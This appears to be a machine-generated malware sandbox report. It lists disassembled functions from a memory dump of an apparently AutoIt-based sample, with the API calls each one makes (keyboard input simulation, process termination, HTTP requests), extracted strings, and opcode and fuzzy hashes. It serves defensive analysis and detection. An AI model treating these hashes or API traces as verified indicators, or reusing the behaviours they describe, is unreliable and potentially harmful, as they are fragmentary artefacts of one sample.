Instruction ID: fe0ab2e9405154a8c97d8508b04e12c977e6ffb8494b503e873d03b1e1b0a376
Opcode Fuzzy Hash: dbc8324ff99f41046574e9c252bfd449262dc752388f68a78f370456bb2c3a6b
Instruction Fuzzy Hash: 3F115C72501209AFDF01CFA4ED49FDE7BAAEF48305F044064FE04A21A0C7719D61DB60

Function 0062B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0062B7B5
GetDeviceCaps.GDI32(00000000,00000058), ref: 0062B7C6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0062B7CD
ReleaseDC.USER32(00000000,00000000), ref: 0062B7D5
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0062B7EC
MulDiv.KERNEL32(000009EC,?,?), ref: 0062B7FE

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: b82301d6edc8c98dc2eb6df9e8f17d5fb810d8cad9084e050388cc22cfbc370b
Instruction ID: 6680990edd91092581652497b3134d874993e22fc7107358808a6654ce6039e1
Opcode Fuzzy Hash: b82301d6edc8c98dc2eb6df9e8f17d5fb810d8cad9084e050388cc22cfbc370b
Instruction Fuzzy Hash: 7F018475E00719BBEB109BA69C45A5EBFB9EB48311F004075FA04A7291D6319C00CF91

Function 005F0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 005F0193
MapVirtualKeyW.USER32(00000010,00000000), ref: 005F019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 005F01A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 005F01B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 005F01B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 005F01C1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 4aa91507fc7188febc7f1b433ecb7a1fbc3a9c02a3ca981ac66f3a795c050e1c
Instruction ID: 13a919851c261f0c8dc30dfbccb15a12ce00a2de6e716c745d19274979e8e478
Opcode Fuzzy Hash: 4aa91507fc7188febc7f1b433ecb7a1fbc3a9c02a3ca981ac66f3a795c050e1c
Instruction Fuzzy Hash: 44016CB09017597DE3009F5A8C85B52FFE8FF19354F00411BA15C47941C7F5A864CBE5

Function 006353E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 006353F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0063540F
GetWindowThreadProcessId.USER32(?,?), ref: 0063541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0063542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00635437
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0063543E

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 611bc4b2fd4dce84ac4786feeb9073602bd3499467d07a408be8edc1d8c76f9b
Instruction ID: 2217453b1e087ffb13d9d979828bf8ac1ed35db6d05917d3868a3393445fb95a
Opcode Fuzzy Hash: 611bc4b2fd4dce84ac4786feeb9073602bd3499467d07a408be8edc1d8c76f9b
Instruction Fuzzy Hash: 91F03032241658BBE7319BA2DC0DEEF7F7DEFC6B12F000169FA05D2061DBA11A0186B5

Function 00637230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00637243
EnterCriticalSection.KERNEL32(?,?,005E0EE4,?,?), ref: 00637254
TerminateThread.KERNEL32(00000000,000001F6,?,005E0EE4,?,?), ref: 00637261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,005E0EE4,?,?), ref: 0063726E

Part of subcall function 00636C35: CloseHandle.KERNEL32(00000000,?,0063727B,?,005E0EE4,?,?), ref: 00636C3F

InterlockedExchange.KERNEL32(?,000001F6), ref: 00637281
LeaveCriticalSection.KERNEL32(?,?,005E0EE4,?,?), ref: 00637288

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: e872298c1256be68cbe94da2095c749a172cceb6ec25f7afed5ba4e32bf71eda
Instruction ID: 31fa8b49cac6a1fd2c7d383079f576eab42b93a430a3fdf01c90954e6a3f2d34
Opcode Fuzzy Hash: e872298c1256be68cbe94da2095c749a172cceb6ec25f7afed5ba4e32bf71eda
Instruction Fuzzy Hash: 18F05EB6541712EBDB626BA4ED4C9DB772BEF45703F102531F503914A0CB765A01CB90

Function 00628992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0062899D
UnloadUserProfile.USERENV(?,?), ref: 006289A9
CloseHandle.KERNEL32(?), ref: 006289B2
CloseHandle.KERNEL32(?), ref: 006289BA
GetProcessHeap.KERNEL32(00000000,?), ref: 006289C3
HeapFree.KERNEL32(00000000), ref: 006289CA

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: f353c11441873332335cd5b0b87fd21e109657912051a06852306ab2b18fcdc3
Instruction ID: 245acd833f2fcf362e210e1fd4b5a7c8cbf28d163e222b7d13d354794149f87d
Opcode Fuzzy Hash: f353c11441873332335cd5b0b87fd21e109657912051a06852306ab2b18fcdc3
Instruction Fuzzy Hash: BAE0C236004601FBDB01AFE1EC0C90ABB6AFB89323B109230F21981470CB32A420DB90

Function 00627530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00662C7C,?), ref: 006276EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00662C7C,?), ref: 00627702
CLSIDFromProgID.OLE32(?,?,00000000,0065FB80,000000FF,?,00000000,00000800,00000000,?,00662C7C,?), ref: 00627727
_memcmp.LIBCMT ref: 00627748

Strings

,,f, xrefs: 0062753D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID: ,,f
API String ID: 314563124-1408682325
Opcode ID: f71b557be917b77331d3da4eea34a82279c6ed6ffe99247acb414c5eb6700b84
Instruction ID: a9f9bb76108b8c20923f2da2469c538bd8620f3760975e7abb5d312499f7210b
Opcode Fuzzy Hash: f71b557be917b77331d3da4eea34a82279c6ed6ffe99247acb414c5eb6700b84
Instruction Fuzzy Hash: F4812C71A0051AEFCB04DFA4D984DEEB7BAFF89315F204159E505AB250DB71AE06CF60

Function 006485ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00648613
CharUpperBuffW.USER32(?,?), ref: 00648722
VariantClear.OLEAUT32(?), ref: 0064889A

Part of subcall function 00637562: VariantInit.OLEAUT32(00000000), ref: 006375A2
Part of subcall function 00637562: VariantCopy.OLEAUT32(00000000,?), ref: 006375AB
Part of subcall function 00637562: VariantClear.OLEAUT32(00000000), ref: 006375B7

Strings

AUTOIT.ERROR, xrefs: 00648728
Incorrect Parameter format, xrefs: 0064864B, 0064880D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 36e53d817be0d47f2663fccd278eb26db78cdfe884ebb4afd39a379067400fc2
Instruction ID: c114b9108c3a6a354486a43b410d88b106b33db65aa61e3f8a762484db659826
Opcode Fuzzy Hash: 36e53d817be0d47f2663fccd278eb26db78cdfe884ebb4afd39a379067400fc2
Instruction Fuzzy Hash: 17914C716043019FC750EF28C48495EBBE6FF89714F14496EF89A8B361DB31E946CB91

Function 00632A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005EFC86: _wcscpy.LIBCMT ref: 005EFCA9

_memset.LIBCMT ref: 00632B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00632BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00632C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00632C97

Strings

0, xrefs: 00632B73

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 579799bd8d59321da4206ee6614b8a144d6f85ecc3f86e7cd91bbb5d06f661ae
Instruction ID: fb54c1cebd91501008aaf1e739db42ff8d5d420871d0c1e88e31dd0ee87284ba
Opcode Fuzzy Hash: 579799bd8d59321da4206ee6614b8a144d6f85ecc3f86e7cd91bbb5d06f661ae
Instruction Fuzzy Hash: BD51DF715083029BD7659F28D869AAFBBEAEF84310F141A2EF881D32D1DB70CD0587D2

Function 005E3137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005E3277
_memmove.LIBCMT ref: 005E3310
_free.LIBCMT ref: 005E3336
_memmove.LIBCMT ref: 005E33E9

Strings

3c^, xrefs: 005E3225
_^, xrefs: 005E3322

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove$_free
String ID: 3c^$_^
API String ID: 2620147621-3555050690
Opcode ID: 6d946acd0110be6b96509e5dce7a3c2fc01483ce9d23987d0af0aa03cc066f22
Instruction ID: 82e2c6b9dc20a77b47f0462740e59f4808930bc6d08ebae406df096c8c0a5eab
Opcode Fuzzy Hash: 6d946acd0110be6b96509e5dce7a3c2fc01483ce9d23987d0af0aa03cc066f22
Instruction Fuzzy Hash: 7E516C75A083818FDB29CF29C448B6ABBE5FFC5310F08492DE58987391EB35E941CB42

Function 005E6192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005E6248
_memmove.LIBCMT ref: 005E62E4
_memset.LIBCMT ref: 005E6308

Strings

3c^, xrefs: 005E62AF
ERCP, xrefs: 005E61B3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memset$_memmove
String ID: 3c^$ERCP
API String ID: 2532777613-2771788335
Opcode ID: 310b84860244251ee6c071d187fec5c33923025ad4dda5b3b359b61d97a6cb9e
Instruction ID: c43c386575150df8f692eb91ac87bb4724015e4e512feef398c0049c35e110f1
Opcode Fuzzy Hash: 310b84860244251ee6c071d187fec5c33923025ad4dda5b3b359b61d97a6cb9e
Instruction Fuzzy Hash: F451F37190071ADBDB28CF55C8457AABBF5FF58380F24896EE58ADB241E770EA41CB40

Function 00632753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006327C0
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 006327DC
DeleteMenu.USER32(?,00000007,00000000), ref: 00632822
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00695890,00000000), ref: 0063286B

Strings

0, xrefs: 006327B5

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: bb24c79d4179c11af02c99cfb7f60adcdb18158d348aaabed16fc3ba9e07b807
Instruction ID: f5c584b3495dd4f742948488c015738599d2b3eaf72d9418d041a5bd22917dd0
Opcode Fuzzy Hash: bb24c79d4179c11af02c99cfb7f60adcdb18158d348aaabed16fc3ba9e07b807
Instruction Fuzzy Hash: 6341A0702043429FD720DF24C894B6ABBEAEF85314F14492EF9A697391D730E909CB92

Function 00630AD6 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00630B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 00630B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00630BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00630BFB

Strings

f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df, xrefs: 00630B5D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID: f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df
API String ID: 432972143-528870926
Opcode ID: 587d03eb49971033e0c043e6b6b475a0e27b694edc96499652fad1ca8cde6280
Instruction ID: c1f5682edf1818acdd2b43285b16674e33fbe42c6720f7296c18166dd13858d2
Opcode Fuzzy Hash: 587d03eb49971033e0c043e6b6b475a0e27b694edc96499652fad1ca8cde6280
Instruction Fuzzy Hash: FB317A70D40718AEFF30CB298C25BFAFBABEB55315F04426AF482522D1C376898997D5

Function 00630C11 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7707C0D0,?,00008000), ref: 00630C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 00630C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 00630CE1
SendInput.USER32(00000001,?,0000001C,7707C0D0,?,00008000), ref: 00630D33

Strings

f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df, xrefs: 00630C9F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID: f6dfewf6dfewf6dfewf6dfewf6dfewb6dfew86dfew66dfewc6dfew06dfew06dfew06dfew06dfew06dfew06dfew66dfew66dfew86dfew96dfew86dfew56dfew76df
API String ID: 432972143-528870926
Opcode ID: 6ececcde99590866ff5ca58ff24cd20e234f3317c2779d5013ed6ec2c3f833a9
Instruction ID: faff14778ebc0ae0e8318341678b259e26fd0314f80c622304958be6e2569150
Opcode Fuzzy Hash: 6ececcde99590866ff5ca58ff24cd20e234f3317c2779d5013ed6ec2c3f833a9
Instruction Fuzzy Hash: AD313370940718AEFF308B648C25BFEBBA7AF49321F04636AE481522D1D3759989C7E1

Function 0064D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0064D7C5

Part of subcall function 005D784B: _memmove.LIBCMT ref: 005D7899

Strings

cdecl, xrefs: 0064D81C
stdcall, xrefs: 0064D847
winapi, xrefs: 0064D836
none, xrefs: 0064D8A0

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: 1e0d25b288bf7a5e730ee6098b166e8632961fab9305ac2ecc194023e75daea7
Instruction ID: fdd83e228dba16f7a3e0cd582b3ae639c0a86e8b1b5b263be6c11f1c7c035340
Opcode Fuzzy Hash: 1e0d25b288bf7a5e730ee6098b166e8632961fab9305ac2ecc194023e75daea7
Instruction Fuzzy Hash: 4731AF7190461AAFCF10EF58C8559FEBBB6FF44320B10862AF865977D2DB71A905CB80

Function 00628E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 0062AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0062AABC

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00628F14
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00628F27
SendMessageW.USER32(?,00000189,?,00000000), ref: 00628F57

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

Strings

ComboBox, xrefs: 00628E9E
ListBox, xrefs: 00628ED3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 08b0568df3d37895b300f2ea0d551ca04b1867d0e58a34c4d5ecd77d624a46f3
Instruction ID: fe816378186ebcb5ca805a8e8d68965c99c63edef7d6d3f901031b14fb8cd77a
Opcode Fuzzy Hash: 08b0568df3d37895b300f2ea0d551ca04b1867d0e58a34c4d5ecd77d624a46f3
Instruction Fuzzy Hash: 9A21E6719051097EDB14ABB4DC49DFF7B6AEF453A0F14852AF411972E1DF394809DA10

Function 0064182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0064184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00641872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 006418A2
InternetCloseHandle.WININET(00000000), ref: 006418E9

Part of subcall function 00642483: GetLastError.KERNEL32(?,?,00641817,00000000,00000000,00000001), ref: 00642498
Part of subcall function 00642483: SetEvent.KERNEL32(?,?,00641817,00000000,00000000,00000001), ref: 006424AD

Strings

, xrefs: 00641893

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 654b24d71888aa3773b6063ee6147c92257c5f9bc18700f06eb077ead9326e00
Instruction ID: 6f04272e9485d18143b6f485ff419745d87bf7805705b5d7126531ef141db1b4
Opcode Fuzzy Hash: 654b24d71888aa3773b6063ee6147c92257c5f9bc18700f06eb077ead9326e00
